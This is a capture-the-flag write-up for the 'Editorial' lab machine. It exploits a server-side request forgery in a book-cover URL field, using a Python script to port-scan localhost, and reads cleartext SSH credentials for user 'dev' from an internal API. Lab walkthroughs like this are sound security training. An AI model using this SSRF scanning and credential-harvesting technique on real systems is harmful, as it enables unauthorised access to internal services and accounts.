Editorial
A publishing site's book-cover URL field is fetched server-side with no SSRF protection, letting us reach an internal API on localhost:5000 whose authors endpoint leaks plaintext SSH credentials for the user flag.
Overview
Editorial is an easy-difficulty Linux box built around a single server-side request forgery (SSRF) flaw. The “Publish with us” form lets you submit a book cover by URL, and the server dutifully fetches whatever URL you give it — including services bound only to localhost. Fuzzing the loopback interface uncovers an internal API on port 5000, and one of its endpoints returns a welcome-mail template with cleartext SSH credentials. This post covers recon through the user flag.
Machine Matrix
Classic SSRF box: an unprotected book-cover fetch is scripted to port-scan localhost and pull cleartext SSH creds from an internal API — realistic, enumeration-heavy, no CVE.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.9p1 | Ubuntu |
| 80/tcp | nginx 1.18.0 | redirects to editorial.htb |
1
nmap -sC -sV 10.10.11.20
Two ports. The web server redirects to a hostname, so add it to /etc/hosts:
1
echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts
Visiting http://editorial.htb shows a publishing company site. The navigation bar has a Publish with us page with a book-submission form — and one of its fields is a Cover URL.
Enumeration
The Cover URL field is the obvious SSRF candidate: the server fetches it to render a preview thumbnail. Point it at our own listener to confirm.
1
nc -lnvp 5555
Submit the form (or replay the POST /upload-cover request) with the cover URL set to http://<our-ip>:5555. The listener catches a callback from python-requests/2.25.1 — the server fetched our URL. SSRF confirmed.
Probing http://127.0.0.1:80 returns a .jpeg path. That gives us an oracle: ports with no useful service return a .jpeg, so we can fuzz every port and flag the one response that does not end in .jpeg.
1
2
3
4
5
6
7
8
#!/usr/bin/python3
import requests
for port in range(1, 65536):
r = requests.post("http://editorial.htb/upload-cover",
files={"bookfile": ("x", b"")},
data={"bookurl": f"http://127.0.0.1:{port}"})
if not r.text.strip().endswith(".jpeg"):
print(port, "---", r.text)
1
5000 --- static/uploads/85389d97-3812-4851-b49e-1f843f356e45
Port 5000 is different — there’s an internal API listening on localhost.
Foothold
Set the cover URL to the API metadata endpoint and read the file the server saved:
1
2
# bookurl = http://127.0.0.1:5000/api/latest/metadata
curl http://editorial.htb/static/uploads/<returned-uuid> | jq
The JSON describes the API’s endpoints. The /api/latest/metadata/messages/authors endpoint looks promising — it claims to return the welcome message sent to new authors. Query it through the SSRF the same way:
1
2
# bookurl = http://127.0.0.1:5000/api/latest/metadata/messages/authors
curl http://editorial.htb/static/uploads/<returned-uuid> | jq
1
2
3
{
"template_mail_message": "Welcome to the team! ... Your login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\n..."
}
Cleartext credentials for dev. They work over SSH:
1
ssh [email protected]
1
2
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
User flag
1
2
dev@editorial:~$ cat user.txt
[redacted]
Foothold complete. The path to root continues through credentials buried in a local Git repository and a GitPython sudo flaw (CVE-2022-24439) — but this post stops at user.
Privilege escalation is left as an exercise — this post ends at the user flag.